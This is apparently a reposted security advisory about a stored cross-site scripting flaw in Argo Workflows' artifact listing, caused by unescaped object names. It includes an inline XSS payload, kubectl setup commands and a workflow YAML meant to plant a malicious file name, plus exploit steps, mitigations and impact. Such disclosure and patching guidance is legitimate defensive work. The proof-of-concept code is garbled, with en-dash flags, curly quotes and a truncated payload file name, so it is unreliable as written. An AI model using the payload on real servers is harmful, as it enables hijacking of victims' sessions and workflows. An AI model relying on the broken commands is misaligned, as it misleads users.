Listen to this Post
The vulnerability is a stored cross-site scripting (XSS) flaw in the artifact directory listing of Argo Workflows. In the file server/artifacts/artifact_server.go, the HTTP handler for listing artifacts uses `fmt.Fprintf` to directly embed object names into the HTML response without proper escaping. Object names are fetched via `driver.ListObjects(…)` from storage, such as when a workflow writes files to an output artifact directory. An attacker with permissions to create workflows can craft a malicious workflow that writes a file with a name containing JavaScript payloads, like <img src=x onerror="alert(document.domain)">. This file name is then stored on the server. When any user (victim) accesses the artifact directory listing URL (e.g., /artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/), the server serves the HTML page with the unescaped, attacker-controlled file name, causing the embedded script to execute in the victim’s browser. Since the script runs under the Argo Server origin, it can perform authenticated API requests using the victim’s session cookies and permissions, potentially leading to data theft, workflow manipulation, or other privileged actions.
Platform: Argo Workflows
Version: Not specified
Vulnerability: Stored XSS
Severity: Critical
Date: Not specified
Prediction: Patch date unknown
What Undercode Say:
Analytics:
kubectl create ns argo
kubectl apply –server-side -f manifests/base/crds/full
kubectl apply –server-side -k manifests/quick-start/postgres
kubectl -n argo port-forward deploy/argo-server 2746:2746
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: xss-artifact-test-
spec:
entrypoint: main
templates:
- name: main
container:
image: alpine
command: [sh, -c]
args:
- |
mkdir -p /tmp/artifacts
touch ‘/tmp/artifacts/xss”>
.html’
outputs:
artifacts:
- name: dir
path: /tmp/artifacts
archive:
none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
kubectl -n argo get wf -w
kubectl -n argo get wf
Code from artifact_server.go lines 194-244: fmt.Fprintf(w, “%s
“, href, obj.Key) without escaping obj.Key.
How Exploit:
Create malicious workflow.
Store XSS payload.
Share artifact link.
Victim opens link.
JavaScript executes automatically.
Script accesses Argo API.
Protection from this CVE:
Escape HTML output.
Sanitize object names.
Input validation required.
Content Security Policy.
Update to patched version.
Impact:
API call impersonation.
Workflow data theft.
Unauthorized workflow creation.
Privilege escalation possible.
Session hijacking risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
